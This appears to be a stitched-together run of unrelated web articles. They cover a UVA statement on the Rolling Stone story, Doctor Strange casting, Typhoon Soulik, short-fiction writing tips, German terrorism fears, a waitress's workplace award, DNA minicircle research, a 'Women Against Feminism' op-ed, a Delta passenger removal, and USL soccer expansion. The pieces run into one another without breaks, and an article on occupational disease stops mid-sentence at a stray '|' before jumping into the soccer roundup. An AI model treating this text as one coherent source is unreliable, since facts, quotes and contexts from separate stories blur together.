University President Teresa Sullivan released this statement Friday in response to the Rolling Stone inconsistencies:
I’m sure many of you are aware by now of today’s reports from the Washington Post and the statement from Rolling Stone magazine. While all of us who care about the University of Virginia are upset by the Rolling Stone story, I write now with a different message. Over the past two weeks, our community has been more focused than ever on one of the most difficult and critical issues facing higher education today: sexual violence on college campuses. Today’s news must not alter this focus. Here at U.Va., the safety of our students must continue to be our top priority, for all students, and especially for survivors of sexual assault. We will continue to take a hard look at our practices, policies, and procedures, and continue to dedicate ourselves to becoming a model institution in our educational programming, in the character of our student culture, and in our care for those who are victims. Now is the time for us to come together as a community to lead the way on this critical issue.Benedict Cumberbatch, among all other actors who were also rumored to be up for the role, landed the titular character of Dr. Stephen Strange for the upcoming Marvel Cinematic Universe film “Doctor Strange.” The casting decision by Marvel Studios, once it was officially announced, received fairly positive feedback, both from fans of the actor and those in the community of the MCU.
However, as smooth and as perfect as it may have seemed, the actor almost did not make the rolebut not because Marvel Studios had any doubts about him being the big screen version of the Sorcerer Supreme.
In a recent interview with Entertainment Weekly, Marvel Studios President Kevin Feige revealed that while they had Cumberbatch in their minds for the role for quite some time then, the actor’s growing popularity almost made it impossible for him to take on a role for the comic book film.
“He was someone that we were very interested in for a very long time,” said Feige. “[But] he kept getting more and more popular! [Laughs] Which is not [essential] for us. Chris Pratt was not popular when we cast him in ‘Guardians’. That’s not a prerequisite needed for us casting [someone]. But he kept getting more popular, and more popular, and he kept getting busier, and busier, and it looked like the timing wasn’t going to work. So we looked at some other actors for a while and ultimately decided, ‘We have to try and make it work with Benedict and with his schedule.’ Which is why we shifted the production schedule around. He finished ‘Hamlet’ here in London, and I think had a day off, and then went to Kathmandu, Nepal, to shoot the first day of ‘Doctor Strange.'”
Aside from Cumberbatch himself, other actors who were previously rumored to be taking on the role of Doctor Strange included Joaquin Phoenix, Ethan Hawke, Matthew McConaughey, Ewan McGregor, Jake Gyllenhaal, and Oscar Isaacwho is now Apocalypse for the upcoming “X-Men: Apocalypse.”
“Doctor Strange” opens in theaters on Nov. 4, 2016.July 11, 2013 Typhoon Soulik to Devastate Northern Taiwan
By By Jim Andrews, AccuWeather.com Senior Meteorologist July 11, 2013, 3:04:23 PM EDT
Typhoon Soulik has approached super typhoon status, with winds of greater than 240 kph (150 mph), at times as it barrels westward on a track to northern Taiwan and mainland China.
The highest winds of Soulik have backed off to 175 kph (110 mph) with gusts over 200 kph (130 mph). The latest storm movement is toward the west at 23 kph (14 mph). Despite some weakening due to dry air, Soulik is still a very strong storm.
The dangerous storm is expected to hold its potentially devastating strength, or slightly strengthen, over the next day or so before weakening a bit as it nears Taiwan. A potential landfall on northern Taiwan could happen Friday afternoon. Weakening aside, Typhoon Soulik will not spare northern Taiwan from life-threatening wind, rain and tide. Winds near the coasts of northern Taiwan as well as the southern Ryukyu Islands could gust as high as 200 kph (125 mph). Winds in the major city of Taipei could top 120 kph (75 mph), with potential serious structural damage.
Water levels along coastal locations are expected to become life-threatening and capable of extensive damage to structures on the beach. Water levels will rise as high as 2.5-5 m (8-16 feet) above normal high tide level, with the highest levels found in bays and lagoons that curve inland.
Rainfall will generally range from 100-200 mm (4-8 inches) across most areas, but in the higher terrain of Taiwan, rainfall amounts can reach 30-60 cm (1-2 feet), generating flash flooding and mudslides.
East-central China, in particular the provinces of Fujian and Zhejiang, will be at risk of damaging winds and flooding rain on Saturday. The result of a major hit on these provinces is potentially devastating, as this is one of the most populous regions of the world, home to over 90 million people. The worst of Soulik seems set to track south of Shanghai, one of the most populous cities in the world.
Soulik is expected to make landfall on Saturday afternoon in northern Fujian or perhaps southernmost Zhejiang province between the cities of Fuzhou and Wenzhou.
If not significantly weakened in its interaction with mountainous Taiwan, Soulik could still pack enough punch to deliver winds to of about 160 kph (100 mph) near its expected landfall in China.
Rainfall amounts of 125-250 mm (5-10 inches) will be widespread along the direct storm track these eastern provinces of China, as well as easternmost Jiangxi province farther inland. Local amounts over 30 cm (1 foot) are also possible.
AccuWeather.com Meteorologist Dan DePodwin also contributed to this story.
Report a TypoThe author of We Don’t Know What We’re Doing has thought quite a bit about how best to approach writing short fiction. We asked him to compile a list of do’s and don’ts and suggested reading that might help practitioners at any stage of their craft.
1. Read Flannery O’Connor. Now.
2. All characters think that they’re the main characters. Have them behave that way. (I think this is a quote from Anne Tyler.)
3. The exception to the above is for characters who themselves don’t feel like the main characters in their own lives – in which case, this is also very interesting. Show us what it’s like to live this way.
4. Delete your first paragraph.
5. Delete your final paragraph.
6. Is that an animal you have there? Ooh, is it symbolic? Are you going to kill it at the end? Forget it.
7. If the aim of your story is to show us the boredom of life, you have to ensure that the reader won’t be so bored as to not finish the story. Give them some kind of reward (be it on the level of language, insight, character, or just something).
8. Allow psychology to become behaviour. That way something will actually happen.
9. Exchange your short stories with your peers/friends. You will see your own flaws in their work much quicker than you’ll see them in your own.
10. Where possible, avoid having characters with names beginning with the same letter as each other. It’s just less confusing this way.
11. Is it clear to the reader how old, roughly, your character is? If not, is this a problem?
12. If you’ve written your story in present tense, rewrite a few of the paragraphs in past tense and see which details aren’t necessary (e.g. do we need the woman walking across the room and then back again? If this were a film, it’d cost £10,000 just to film that 5 seconds of footage.)
13. Look at every sentence you have written. Do any of the sentences contain a phrase you’ve read or heard before? If the sentence belongs to a character, it’s maybe excusable. If not, rephrase.
14. Does your title expand the meaning of the story? Or does it make the story smaller?
15. If a detail or feeling seems too complicated or fiddly to explain, then you MUST NOT SHIRK AWAY. This is where you’ll find the stuff that’s actually real. Nuance the shit out of it.
16. Don’t set out to write a story to teach the reader something. That’s didactic and boring.
17. In speech, people talk over each other, interrupt, disagree, and don’t always answer directly the questions they’re asked. The same should be true for dialogue.
18. Consider the white space on your page. Dialogue can give the reader’s eye a break. But maybe you don’t want to give them a break?
19. Re-read your final paragraph. Be honest with yourself: have you ripped off the ending of ‘The Dead’ or American Beauty?
A thousand words describing two characters sitting at a table or three scenes, three hundred words each, of the same two characters in different settings? Consider the pros and cons.”
20. If done correctly, the very form of your story can carry/become the story itself.
21. Read Donald Barthelme’s Sixty Stories.
22. When your story is about someone returning somewhere, do not call it ‘The Prodigal Son’, or ‘The Prodigal Daughter’, or the prodigal anything. Please.
23. Quit writing stories to fit stupid word counts. Let the story go as long or as short as it needs to be. If the story works, you will find a good home for it.
24. Exposition is always difficult. Try and find interesting ways to hide/obscure the exposition. (Note: a radio or TV broadcast does not count as an ‘interesting’ way.)
25. Read Patrick Davey’s interview with George Saunders in Bomb magazine (the interview is in two parts; be sure to read the second part too).
26. People are often amusing in real life. It’s worth remembering.
27. Realism is just a mode. All modes are as valid as each other. The important thing is to tell the story in the way it needs to be told. You mightn’t know how it needs to be told until you’ve finished the first or second or fifteenth draft. This is completely normal.
28. It’s amazing what a paragraph break can do. You can write 400 words of transition, explaining how the woman got from the beach back to the apartment, or you can just put in a paragraph break and begin the next section with, “The apartment was warm…”
29. When you’re writing in first person you can often fool yourself into thinking that the character leaps off the page. Rewrite a few of the paragraphs in third person and see if this is still the case. It might well be that you’ve just used the first person narrator as a director uses a camera.
30. Though, that said, the things the character sees and notices will reveal their character. Or rather: these things are always an opportunity to show us something about that character.
31. Sometimes, one telling line will save you the hassle of 14 lines of showing.
32. Don’t get hung up on your ‘original intention’ for a story or scene. If something more interesting emerges, go with it. We shouldn’t all marry our first loves.
33. Count how many characters you have in your story. Can any of the characters be merged?
34. Saying that someone is “wearing a business suit” does not count as description.
35. Read Ali Smith’s short stories.
36. A short story lives and dies in the cadences of each sentence. Read your story aloud. Find the bum notes.
37. Be aware of how narrow your reading taste can become (mine, for example are way too American). Broaden your tastes.
38. A character lying in bed being sad is not yet a story.
39. ‘Metamorphosis’ by Franz Kafka is a very good story.
40. No one is as well travelled as they’d like to be. Show the reader what it’s like to inhabit the space/place your characters are currently inhabiting.
41. A thousand words describing two characters sitting at a table vs. three scenes, three hundred words each, of the same two characters in different settings/periods. Consider the pros and cons of both approaches. Maybe you could gain what you need by doing one or the other?
42. Take from your own life. Mercilessly. This is where the pulse, the blood, the life comes from. Furnish the rooms of your stories with the emotional furniture of your mind.
43. Beware extended metaphors.
44. Read ‘Do Not Disturb’ by A.M. Holmes.
45. Re-read stories by your favourite authors. Pay close attention to the craft – dialogue, description, transitions, indirect free speech, etc.
46. Allow all manner of things to influence your stories – music, film, art, TV, conversations, bus rides. If you only allow other stories to inform your stories, you’ll create a hall of empty mirrors.
47. Consequences: if a character goes out in the rain in just a T-shirt, they’ll likely get a cold.
48. Read this story by ZZ Packer in The New Yorker.
49. We don’t always know why people do things, and sometimes the writer needn’t speculate. Show a character’s behaviour and the reader can decide for themselves.
50. Do you feel something when you read your final line? If not, the reader probably won’t either.
51. A lot of writers think the art of the short story rests in being subtle. But there’s such a thing as being too subtle. Consider the volume control – do you need to turn it up a little? (e.g. if the reader has to register and understand the sequence of six separate buried symbols in order to appreciate the story – well, the story’s too quiet.)
52. If your story takes place at a funeral, you can probably cut that scene about the bad sandwiches.
53. Ignore all this. You’re a writer. You’re not here to be told what to do.
Thomas Morris was born and grew up in in Caerphilly. A graduate of Trinity College, he has lived in Dublin since 2005, where he now edits The Stinging Fly. He also devised and edited Dubliners 100: 15 New Stories Inspired by the Original. His debut story collection We Don’t Know What We’re Doing is published by Faber & Faber. Read more.
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commentsJOACHIM LÖW, the manager of the German national football team, was unusually composed after his team threw away a two-nil lead over England in a friendly match on March 26th. “Thank God everything somehow went smoothly,” Mr Löw told German television afterwards. Like many Germans, the manager seemed less concerned about winning or losing than about terrorism. A German friendly against France was a focal point of the November 13th attacks in Paris, and a match against the Netherlands on November 17th was called off due to fears of a bomb.
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To date Europe’s growing problem of Islamist terrorism has left Germany almost entirely unharmed. The country’s only deaths at the hands of Muslim extremists have been two American servicemen gunned down by a Kosovar Albanian at Frankfurt’s airport in 2011. Some see this as evidence of superior intelligence and policing. After the September 11th attacks and the failure to detect the Nationalsozialistische Untergrund, a far-right terrorist group which killed ten people between 2000 and 2007, Germany’s federal and 16 state-level domestic intelligence services were repeatedly streamlined, leading to better information-sharing. Stephan Mayer, a security expert in the Christian Social Union party, says 11 attacks by radical Islamists have been thwarted since 2000. “This isn’t simply a matter of luck—it’s primarily about the good co-operation of the security services in our country,” Mr Mayer says.
Others think the terrorists may be giving Germany a free ride for the moment. Experts briefed by the foreign intelligence service, the Bundesnachrichtendienst (BND), say it thinks Islamic State is yet to decide whether to attack Germany. The group may worry that an attack would prompt a crackdown that could make it more difficult to use the country as a transit route.
But no one expects the calm to last indefinitely. Hundreds of heavily armed police patrolled Berlin’s Olympic Stadium and other key points last weekend, proof of a growing skittishness. “London, Madrid, Paris, now Brussels—even German cities won’t be spared forever,” says Rainer Wendt, Germany’s police union boss.
Terrorist attacks elsewhere in Europe are gradually leading Germany to change its leery stance towards aggressive security and surveillance policies, rooted in its historical experiences of totalitarian Nazism and Communism. “A few years ago, I would still have called Germany a pacifist country,” said Karl-Heinz Kamp, president of the Federal Academy for Security Policy in Berlin. Recent crises “have made foreign-policy and security issues part of dinner-table conversation again”.
The government plans to spend an extra €2 billion ($2.3 billion) on internal security between 2017 and 2020, adding 3,000 officers to the over 30,000-strong federal police force. The BND and its domestic intelligence counterpart, the Bundesamt für Verfassungsschutz (BfV), will get an additional €30m in funding this year; their budgets have grown by half since 2010. After nine years of political and legal wrangling, Germany adopted data-retention rules in October. Last summer the country was in an uproar over its intelligence services’ sharing of data with American agencies; since the Brussels attacks Angela Merkel, the chancellor, has been calling for even more co-operation.
In fact Germany has as much reason to fear terrorism as Britain, Spain, France or Belgium. The BfV counts about 8,650 ultra-conservative Salafist Muslims in Germany. At least 800 young people have left to fight in Syria, of which around 260 have returned. In all, security services reckon about 500 potentially dangerous Islamist radicals live in the country.
A steady drumbeat of incidents has raised fears that something worse could be coming. Salah Abdeslam, a participant in the Paris attacks whose arrest seems to have touched off the March 22nd bombings in Brussels, reportedly met with collaborators in Ulm, a German city, in October. In February a teenage Salafist in Hanover stabbed a policeman in the neck. A resident of suburban Frankfurt with Salafist connections was arrested for allegedly planning to pipe-bomb a bicycle race. Social angst has risen accordingly. Between January 2015 and January 2016, the proportion of respondents worried about an attack on German soil rose from 45% to 68%, according to a survey by Infratest dimap, a pollster.
An attack in another country that was planned in Germany (like the September 11th attacks, which were hatched largely in Hamburg) could also cause political fallout. But the most worrying possibility would be a terrorist incident linked to the 1.2m mainly Middle Eastern refugees who have arrived in Germany since the start of 2015. The BfV warned in late February that it had received about 300 reports of jihadists among the migrants. The tips have generally proved to be duds. If one turns out to be live, the consequences could be dramatic. Germany’s refugee politics are already explosive enough.Please enable Javascript to watch this video
INDIANAPOLIS, Ind.- A woman in Southport says she's offended after receiving an award from her employer for having the "Best Butt" on staff.
The woman, who has asked not to be named, is a waitress at Scotty's Brewhouse in Southport. She says on Monday night, during an event where staff was given awards, she received the accolade in full view of about fifty coworkers.
The woman says that when the award was given to her by management, she was then told to turn around in front of everyone so people could take pictures of her behind. According to the woman, other employees were also given awards, but for things like "Best Bartender" and "Best Server." She says she has worked for Scotty's Brewhouse for more than a year.
“I feel like I’m more than just a butt," said the woman. "I feel like I’m smart, I’m going to school.”
The woman says she went to Scotty's corporate HR and was told by upper-level management the award was not their idea. She says that so far, no one has offered her an apology. According to her, she is still working for the restaurant while also holding down a second job and attending classes.
“I have two jobs so I can make money and continue to go to school," said the woman, "and then get my degree and not work two jobs anymore.”
FOX59 News has tried several times to contact Scotty's Brewhouse corporate offices for comment, but so far has not received any kind of a response. The woman said she has consulted with an attorney and is considering filing a complaint with the EEOC.On this episode of the Yanks Go Yard Series Preview Show, host and senior staff writer Ricky Keeler talks about what has happened so far in the Blue Jays-Yankees series, including Masahiro Tanaka's win on Tuesday. Ricky will also talk about Old Timer's Day coming up this Sunday, which includes the debuts of Johnny Damon and Hideki Matsui into the yearly tradition. Plus, Tiino Martinez and Goose Gossage will each be getting plaques in Monument Park this weekend.
For this episode, Ricky will be speaking with Avi Miller from the Baltimore Sports Report. They will discuss the impact of catcher Matt Wieters having to undergo Tommy John Surgery, Nelson Cruz's 21 home runs, and Baltimore's struggles in the rotation. Do they have enough to keep pace with Toronto in the AL East?Using a multidisciplinary approach, researchers, led by those at Baylor College of Medicine, revealed in unprecedented detail the three-dimensional structure of biologically active DNA. A report on their work appears online in the journal Nature Communications.
"The beautiful double-helical structure we all know and love is not the actual active form of DNA," said Dr. Lynn Zechiedrich, professor in the department of molecular virology and microbiology, and co-contributing author with Dr. Wah Chiu, professor in the Verna and Marrs McLean Department of Biochemistry and Molecular Biology.
Chiu and Zechiedrich, collaborating with Dr. Steven Ludtke and Dr. Michael Schmid, also of Baylor College of Medicine, and Dr. Sarah A. Harris of the University of Leeds in the United Kingdom, examined tiny DNA minicircles (now known as "MiniVectors," a named coined by the team and commercially available) containing only 336 base pairs, using methods from chemistry, physics, math and computer modeling. Base pairs are the building blocks of genetic material.
"Previous studies were on short fragments (6 - 12 base pairs) of linear DNA, but human DNA is constantly moving around in your body - and it coils and uncoils. You can't coil linear DNA and study it, so we had to make circles so the ends would trap the different degrees of winding," said Zechiedrich.
Each cell in the human body holds about a meter of DNA (ten million times longer than the tiny circles the team made). In their study, they wound or unwound a single turn at a time the DNA double helix comprising their circles and asked how the winding changed what the circles looked like, using very powerful microscopes.
The researchers devised a test to make sure that the tiny twisted up DNA circles that they made in the lab were biologically active. They used purified human topoisomerase II alpha, an essential enzyme that manipulates DNA and important target of anticancer drugs.
This enzyme relieved the winding stress from all of the supercoiled minicircles, even the most coiled ones, which is its normal job in the human body. This result means that the circles must look and act like the much longer DNA that topoisomerases encounter in human cells.
"These enzymes don't do anything to linear DNA because it's not coiled up," said co-author Dr. Daniel J. Catanese, Jr., also of Baylor.
Dr. Rossitza N. Irobalieva, the co-lead author on the publication, who is also at Baylor, used cryo-electron tomography, a powerful microscopy technique that involves freezing biologically active material, to provide the first three-dimensional structures of individual DNA molecules. She saw that the coiling caused many different shapes.
"Some of the circles had sharp bends, some were figure-8s, and others looked like racquets or sewing needles. Some looked like rods because they were so coiled," said Irobalieva.
"Being able to observe individual DNA circles allows us to understand the different structures of biologically active DNA. Each of these different structures facilitates how DNA interacts with proteins, other DNA and RNA, and anticancer drugs, adapting to the cell processes required," said Dr. Jonathan Fogg, the other lead author of the publication, also of Baylor College of Medicine.
While the researchers expected to see the opening of base pairs when the DNA was underwound, they were surprised to see this opening for the overwound DNA. They hypothesized that this disruption of base pairs may cause flexible hinges, allowing the DNA to sharply bend, perhaps helping to explain how a meter of DNA can be jammed into a single human cell.
"The next step is to start adding the other components of the cell or anticancer drugs to see how the DNA shapes change," said Fogg.
A team of researchers from a number of fields came together to address this fundamental problem. Their YouTube video explains the new results.The latest skirmish on the gender battlefield is “Women Against Feminism”: women and girls taking to social media to declare that they don’t need or want feminism, usually via photos of themselves with handwritten placards. The feminist reaction has ranged from mockery to dismay to somewhat patronizing (or should that be “matronizing”?) lectures on why these dissidents are wrong. But, while the anti-feminist rebellion has its eye-rolling moments, it raises valid questions about the state of Western feminism in the 21st century — questions that must be addressed if we are to continue making progress toward real gender equality.
Female anti-feminism is nothing new. In the 19th century, plenty of women were hostile to the women’s movement and to women who pursued nontraditional paths. In the 1970s, Marabel Morgan’s regressive manifesto The Total Woman was a top best seller, and Phyllis Schlafly led opposition to the Equal Rights Amendment. But such anti-feminism was invariably about defending women’s traditional roles. Some of today’s “women against feminism” fit that mold: they feel that feminism demeans stay-at-home mothers, or that being a “true woman” means loving to cook and clean for your man. Many others, however, say they repudiate feminism even though — indeed, because — they support equality and female empowerment:
“I don’t need feminism because I believe in equality, not entitlements and supremacy.”
“I don’t need feminism because it reinforces the men as agents/women as victims dichotomy.”
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“I do not need modern feminism because it has become confused with misandry which is as bad as misogyny, and whatever I want to do or be in life, I will become through my own hard work.”
Or, more than once: “I don’t need feminism because egalitarianism is better!”
Again and again, the dissenters say that feminism belittles and demonizes men, treating them as presumptive rapists while encouraging women to see themselves as victims. “I am not a victim” and “I can take responsibility for my actions” are recurring themes. Many also challenge the notion that American women in the 21st century are “oppressed,” defiantly asserting that “the patriarchy doesn’t exist” and “there is no rape culture.”
One common response from feminists is to say that Women Against Feminism “don’t understand what feminism is” and to invoke its dictionary definition: “the theory of the political, economic and social equality of the sexes.” The new anti-feminists have a rejoinder for that, too: they’re judging modern feminism by its actions, not by the book. And here, they have a point.
Consider the #YesAllWomen Twitter hashtag, dubbed by one blogger “the Arab Spring of 21st century feminism.” Created in response to Elliot Rodger’s deadly shooting spree in Isla Vista, Calif. — and to reminders that “not all men” are violent misogynists — the tag was a relentless catalog of female victimization by male terrorism and abuse. Some of its most popular tweets seemed to literally dehumanize men, comparing them to sharks or M&M candies of which 10% are poisoned.
Consider assertions that men as a group must be taught “not to rape,” or that to accord the presumption of innocence to a man accused of sexual violence against a woman or girl is to be complicit in “rape culture.” Consider that last year, when an Ohio University student made a rape complaint after getting caught on video engaging in a drunken public sex act, she was championed by campus activists and at least one prominent feminist blogger — but a grand jury declined to hand down charges after reviewing the video of the incident and evidence that both students were inebriated.
Consider that a prominent British feminist writer, Laurie Penny, decries the notion that feminists should avoid such generalizations as “men oppress women”; in her view, all men are steeped in a woman-hating culture and “even the sweetest, gentlest man” benefits from women’s oppression. Consider, too, that an extended quote from Penny’s column was reposted by a mainstream reproductive-rights group and shared by nearly 84,000 Tumblr users in six months.
Sure, some Women Against Feminism claims are caricatures based on fringe views — for instance, that feminism mandates hairy armpits, or that feminists regard all heterosexual intercourse as rape. On the other hand, the charge that feminism stereotypes men as predators while reducing women to helpless victims certainly doesn’t apply to all feminists — but it’s a reasonably fair description of a large, influential, highly visible segment of modern feminism.
Are Women Against Feminism ignorant and naive to insist they are not oppressed? Perhaps some are too giddy with youthful optimism. But they make a strong argument that a “patriarchy” that lets women vote, work, attend college, get divorced, run for political office and own businesses on the same terms as men isn’t quite living up to its label. They also raise valid questions about politicizing personal violence along gender lines; research shows that surprisingly high numbers of men may have been raped, sometimes by women.
For the most part, Women Against Feminism are quite willing to acknowledge and credit feminism’s past battles for women’s rights in the West, as well as the severe oppression women still suffer in many parts of the world. But they also say that modern Western feminism has become a divisive and sometimes hateful force, a movement that dramatically exaggerates female woes while ignoring men’s problems, stifles dissenting views, and dwells obsessively on men’s misbehavior and women’s personal wrongs. These are trends about which feminists have voiced alarm in the past — including the movement’s founding mother Betty Friedan, who tried in the 1970s to steer feminism from the path of what she called “sex/class warfare.” Friedan would have been aghast had she known that, 50 years after she began her battle, feminist energies were being spent on bashing men who commit the heinous crime of taking too much space on the subway.
Is there still a place in modern-day America for a gender-equality movement? I think so. Work-family balance remains a real and complicated challenge. And there are gender-based cultural biases and pressures that still exist — though, in 21st century Western countries, they almost certainly affect men as much as women. A true equality movement would be concerned with the needs and interests of both sexes. It would, for instance, advocate for all victims of domestic and sexual violence regardless of gender — and for fairness to those accused of these offenses. It would support both women and men as workers and as parents.
Should such a movement take back feminism — or, as the new egalitarians suggest, give up on the label altogether because of its inherent connotations of advocating for women only? I’m not sure what the answer is. But Women Against Feminism are asking the right questions. And they deserve to be heard, not harangued. As one of the group’s graphics says, “I have my own mind. Please stop fem-splaining it to me.”
Cathy Young is a contributing editor at Reason magazine.
Contact us at editors@time.com.Delta Air Lines responded to accusations from YouTube star Adam Saleh on Wednesday after he posted a video saying he was kicked off a flight for speaking Arabic.
In a released statement, Delta said:
"Two customers were removed from this flight and later rebooked after a disturbance in the cabin resulted in more than 20 customers expressing their discomfort. We're conducting a full review to understand what transpired. We are taking allegations of discrimination very seriously; our culture requires treating others with respect."
Saleh, an internet star with over 1.6 million YouTube subscribers and over 260,000 Twitter followers posted a video of the incident to Twitter, where it quickly went viral. The post shows Saleh getting escorted off the plane, saying he said "one word" in another language before someone said they were "uncomfortable." According to Saleh, they were then escorted off the plane.
Watch Saleh's video of the incident in the tweet below:
We got kicked out of a @Delta airplane because I spoke Arabic to my mom on the phone and with my friend slim... WTFFFFFFFF please spread pic.twitter.com/P5dQCE0qos — Adam Saleh (@omgAdamSaleh) December 21, 2016
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12 PHOTOS 20 most-loved airlines in the world See Gallery 20 most-loved airlines in the world #20: Bangkok Airways Photo credit: Getty #18: Korean Airlines Photo credit: Getty #15: Alaska Airlines Photo credit: Getty #13: Japan Airlines Photo credit: Getty #12: Air New Zealand Photo credit: Shutterstock #11: All Nippon Airways Photo credit: Alamy #10: JetBlue Airways Photo credit: Shutterstock #9: Garuda Indonesia Photo credit: Getty #8: Aeroflot Photo credit: Getty #7: Singapore Airlines Photo credit: Getty #5: Avianca Photo credit: Getty #3: Azul Brazilian Airlines Photo credit: Getty Up Next See Gallery Discover More Like This HIDE CAPTION SHOW CAPTION of SEE ALL BACK TO SLIDE
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...Demolition, utility, and other workers can knock asbestos loose, sending invisible and potentially deadly fibers airborne. Sabina Zak/Shutterstock
Guns take more than 30,000 lives in America each year.
But there’s a less-visible, even deadlier scourge that’s been mostly lost in an era of mass shootings and terrorism scares: work-related illness, which kills 50,000 people annually, according to the best government estimate. Hundreds of thousands more are sickened by job-related exposures to toxic substances.
Occupational disease lacks the macabre drama of a San Bernardino, California, or a Newtown, Connecticut. The bodies cannot be easily counted. The victims may hang on for years or decades before quietly succumbing. Often, only families, friends, and former co-workers acknowledge their deaths.
In a series called “Unequal Risk,” the Center for Public Integrity has tried to bring this little-understood, little-examined topic into the light. The most important takeaway: Many work-related diseases are preventable.
Actually, it’s worse than that. In effect, these diseases are legally sanctioned by the U.S. government, which has made the conscious decision to treat workers more callously than the general public when it comes to protection against toxics.
The casualties of this policy have names: Chris Johnson, Mark Flores, Johnathan Welch, Gene Cooper. The first two struggle with debilitating conditions. The last two are dead–Welch at only 18.
What’s remarkable is that the agency charged with regulating toxic substances in the workplace, the Occupational Safety and Health Administration, admits that for the most part it’s unable to do so. OSHA, Congress, industry, and the |
hasn’t been in our best interest given the economic challenges of 2008 through 2012,” Fuego GM Jeremy Schultz told the Bee. “It wasn’t time for us to make that move. But over the last couple years the Fuego has been profitable, which is a great accomplishment.”
“You look at some of the cities where soccer is flourishing, and I really believe Fresno has the fabric of a soccer town,” Schultz said.
“It’s ingrained in us. We kind of grow up with a little chip on our shoulder how we’re viewed in this state, and I think that mentality is perfectly suited for soccer.”
USL president Jake Edwards spoke to Soccer Nation about the league’s future plans for expansion in California. “California is a hub for premier soccer in America. The size of the state, its demographic composition and diversity provide a solid foundation and growth opportunity for owners and fans alike. It’s an added bonus that the USL harbors three teams in the Golden State. We are fortunate that this part of the country is so passionate about soccer and firmly believe that it will help expand and grow the game in all facets nationwide. Many great players, coaches and teams from youth, collegiate to the professional levels have come from California. We built our Western division first through anchor club Orange County Blues. That growth has spread north and we have had tremendous success in Sacramento. We are in discussions now with some very impressive ownership groups in several key California markets so expect to see a little more expansion in the state over the next few seasons.”
May 2017 Update: Nothing new.
Las Vegas: The Las Vegas Review-Journal reported in March 2016 that the USL was interested in bringing a team to Cashman Field in Vegas. USL spokesperson Brett Lashbrook told the Review-Journal that there was a precedent of minor league baseball and USL sharing a stadium. The Las Vegas 51s AAA team is looking to move out of Cashman into a new stadium.
Midfield Press learned that the Las Vegas Football Club group is working to bring professional soccer to Vegas. The investor group consists of local business leaders committed to bringing pro soccer to the area, and they are sufficiently capitalized for either a NASL or USL bid. It is not clear whether the group will choose NASL or USL, and a suitable venue is the main hurdle in the group’s way at this point. In addition Las Vegas FC, the group also has registered the classic Las Vegas Quicksilvers name.
May 2017 Update: Scratching The Pitch broke the news that a Las Vegas USL group called Las Vegas Soccer LLC registered the trademark Las Vegas Lights for use as a pro soccer team. The group, headed by former Orlando City SC COO Brett Lashbrook, is negotiating for a 15 year lease of Cashman Field from the city of Las Vegas, according to KTNV. The USL club would share the venue with the Las Vegas 51s AAA baseball team. However, previous reports have suggested that the 51s could be looking to leave Cashman, which is an old stadium in need of renovations, in favor of a newer venue to be built in suburban Summerlin. Approving the USL club to use the stadium would theoretically provide the city with a long term tenant for Cashman Field even if the 51s leave.
Memphis: Nipun Chopra of Soc Takes reported that Birmingham and Memphis are USL targets as the league seeks to expand its footprint in the Southeast.
May 2017 Update: Nothing new.
San Diego: Nipun Chopra of Soc Takes reports that Japanese soccer star Keisuke Honda leds a group of Japanese investors who wish to put a USL team in San Diego. Chopra suggests Qualcomm Stadium and Torero Stadium may be sites under consideration for hosting the team.
Previously, USL president Jake Edwards confirmed the league has held talks with groups interested in bringing USL to San Diego. “San Diego is a thriving market with a millennial population, considerable interest in soccer and high participation levels. We have received numerous expressions of interest from very credible groups and will continue to explore options in the market based on our three core tenets: strong local ownership, an attractive market and plans for a soccer-specific stadium,” Edwards told Soccer Nation.
May 2017 Update: Nipun Chopra of SocTakes reported on Twitter that the USL has given up on the San Diego market for the time being.
San Francisco Bay Area: Evan Ream reported that USL president Jake Edwards told him that a Bay Area group has submitted an expansion application to USL, and that he will visit the area in two months as the league is interested in being in the market. In a follow up tweet, Ream said that the group was not the PDL club San Francisco City FC, which has previously expressed interest in joining a professional league.
May 2017 Update: Evan Ream shared on Twitter that the Bay Area group he previously discussed is interested in putting a USL team in San Francisco, while repeating that the group is not San Francisco City FC of the PDL.
Tacoma: The Seattle Sounders are exploring the possibility of moving Sounders 2’s home to Tacoma. The club is working with the AAA baseball Tacoma Rainiers on a plan that would see the B side relocate from Starfire Soccer Complex to a new stadium.
“There’s a group of individuals working on a soccer complex and possibly a soccer stadium,” Hanauer told Sounder at Heart. “The team is a separate issue. We’ve been working with the Rainiers, with whom we would theoretically have some sort of partnership. We haven’t talked about how equity would work. Notionally, we like the Major League Baseball model where we’d run and pay for the technical side and they’d run and pay for the business.”
“We were very curious about what would happen to the soccer market there,” said Hanauer, noting the advantages of getting a little farther away from Seattle. “We did that game down there and I remained in contact with the folks from the Rainiers. We check in every six months or so. I think we concluded at that time that Cheney [Stadium] wasn’t a good long term location, but if there was ever a possibility for a soccer-specific stadium in Tacoma that it would be very interesting.”
The Sounders seem focused on Tacoma, but have also considered moving their 2 side to Boise, Everett and Spokane, according to the Sounder at Heart report.
USL President Jake Edwards referenced the Seattle Sounders’ interest in moving their S2 team to Tacoma in an interview with Sports Illustrated in October 2016. Speaking of the model of providing soccer operations for an independent local ownership who handles the business side that is being followed by San Jose with Reno and Houston with Rio Grande Valley, Edwards said, “I think more and more MLS teams are looking at that. Portland are looking at an independent group we’ve put together in Boise. Seattle is looking to partner with a group in Tacoma. I think this will be a model we see more of. It certainly makes sense toward achieving everyone’s goals. Some [MLS] teams will still be committed to that ‘second team’ structure, and maybe that will work for them. Where we are now with this partnership and this affiliate model isn’t where we’re going to be in a couple years … It won’t be a dramatic shift for next season but I think you’ll see some changes for 2018. Whether they’re MLS-owned or independent teams, if they’re not able to meet the standards and operate a team and create an environment at the level we require, they won’t continue.”
May 2017 Update: Nothing new.
USL DIII Potentials (smaller markets or lower league clubs associated with USL)
Albuquerque: In an interview with Midfield Press earlier this year, Albuquerque Sol FC set a target of 2018 for a move up to professional soccer. Albuquerque is more likely to go to USL than NASL due to their status as a PDL team, a league which is owned by USL. However they would not rule NASL out.
The Albuquerque Sol hired a consultant to do a feasibility analysis on a 5,000 to 10,000 seat stadium in the city. “The goal has always been said 2018 to go what’s called USL pro, which would be the equivalent of say the Isotopes,” said General Manager for Albuquerque Sol, Larry Espinoza, told KRQE. The club is looking for investors to help fund the stadium.
Albuquerque Sol owner Ron Patel continues to make progress on his efforts to bring a soccer specific stadium to town to support the addition of a USL club. According to KRQE, the city will spend $15,000 to investigate the benefits of a stadium.
May 2017 Update: Nothing new.
